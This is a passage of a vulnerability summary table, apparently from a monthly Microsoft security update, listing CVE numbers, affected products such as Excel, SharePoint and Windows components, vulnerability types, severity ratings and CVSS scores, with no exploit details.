Edge for\n  Android Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58523\n  Microsoft Edge for\n  Android Security Feature Bypass Vulnerability\n  Important\n  6.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50678\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.6\n  No\n  No\n  Info\n \n \n  CVE-2026-54988\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-48580\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50408\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55046\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55138\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55054\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55122\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55898\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50675\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55899\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55948\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58618\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47642\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55024\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55025\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55031\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55048\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55029\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55039\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55136\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55141\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55036\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55044\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55037\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55058\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55137\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55053\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55947\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55949\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56156\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55006\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55009\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55005\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56642\n  Microsoft Fabric Data\n  Warehouse Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50343\n  Microsoft Install\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50439\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58537\n  Microsoft NAT Helper\n  Components (ipnathlp.dll) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56193\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55023\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55026\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-55027\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55028\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55047\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55035\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55057\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55121\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55042\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55139\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50665\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.8\n  No\n  No\n  Info\n \n \n  CVE-2026-56192\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56195\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-47290\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50301\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55017\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55125\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55133\n  Microsoft OneNote\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58636\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50438\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58647\n  Microsoft PowerBI\n  Report Server Spoofing Vulnerability\n  Important\n  8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55052\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58277\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55051\n  Microsoft SharePoint\n  Server Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54108\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55016\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55019\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55020\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55021\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55030\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55034\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55126\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55135\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56157\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-47296\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55002\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47295\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50468\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54116\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-42900\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-49784\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50356\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49165\n  Microsoft Windows App\n  Store Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54993\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58610\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55050\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55124\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55142\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55032\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55055\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55038\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55134\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55128\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55130\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50359\n  Microsoft XML Core\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-57097\n  Microsoft XML Security\n  Feature Bypass Vulnerability\n  Important\n  6.4\n  No\n  No\n  SFB\n \n \n  CVE-2026-50346\n  Netlogon RPC Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50402\n  NTFS Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50506\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-45646\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54989\n  Quality Windows\n  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50365\n  Remote Access\n  Management service/API (RPC server) Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54990\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58594\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56190\n  Remote Desktop\n  Protocol Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49783\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-42990\n  SQL Server ODBC driver\n  Elevation of Privilege Vulnerability\n  Important\n  9.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49168\n  Storage Spaces Direct\n  Elevation of Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-48581\n  Surface Broker SDMA\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49180\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50455\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54111\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58543\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58601\n  Virtual Hard Disk\n  (VHD) Miniport Driver Elevation of Privilege Vulernability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50520\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-45496\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-57101\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-57102\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-47305\n  Visual Studio Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49805\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50297\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50325\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50489\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57095\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50416\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-56184\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50432\n  Window Virtual\n  Filtering Platform (VFP) Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-54119\n  Windows Active\n  Directory Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57976\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50366\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49178\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58529\n  Windows Active\n  Directory Federation Services (ADFS) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54983\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50695\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50304\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50368\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50324\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  5.9\n  No\n  No\n  DoS\n \n \n  CVE-2026-50355\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50411\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58631\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56196\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56197\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56169\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57107\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56185\n  Windows Admin Center\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50312\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50462\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57093\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-34346\n  Windows Ancillary\n  Function Driver for WinSock Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-48572\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-48571\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50400\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50331\n  Windows Application\n  Model Core API Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49803\n  Windows AppX\n  Deployment Extensions Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50351\n  Windows Audio\n  Compression Manager (ACM) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50440\n  Windows Audio Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34328\n  Windows Audio Service\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50406\n  Windows Backup Engine\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50364\n  Windows Backup Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-42975\n  Windows Bluetooth Port\n  Driver Remote Code Execution\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58538\n  Windows Bluetooth\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58638\n  Windows Boot Loader\n  Security Feature Bypass Vulnerability\n  Important\n  6\n  No\n  No\n  SFB\n \n \n  CVE-2026-58637\n  Windows Client-Side\n  Caching Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50384\n  Windows Clip Service\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49183\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50689\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50374\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58536\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58613\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50401\n  Windows Cloud Files\n  Mini Filter Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50697\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50667\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50421\n  Windows Connected User\n  Experiences and Telemetry Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50428\n  Windows Container\n  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50352\n  Windows Cryptographic\n  Services Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50302\n  Windows Cryptographic\n  Services Security Feature Bypass Vulnerability\n  Important\n  4.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-55144\n  Windows Cryptography\n  API: Next Generation (CNG) Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50347\n  Windows Data.dll\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49181\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50683\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58627\n  Windows DHCP Server\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50685\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-49807\n  Windows DirectX\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49175\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50487\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50465\n  Windows DNS Client\n  Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-49169\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50426\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50424\n  Windows Domain\n  Controller Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50300\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50437\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-34348\n  Windows Event Logging\n  Service Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50502\n  Windows Event Logging\n  Service Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-33842\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40422\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41087\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50473\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50442\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50389\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50456\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57084\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57091\n  Windows File History\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50405\n  Windows Filtering\n  Platform Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49172\n  Windows FTP Service\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50387\n  Windows GDI Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54122\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50483\n  Windows Graphics\n  Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58609\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50391\n  Windows Group Policy\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50310\n  Windows Human\n  Interface Device Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50485\n  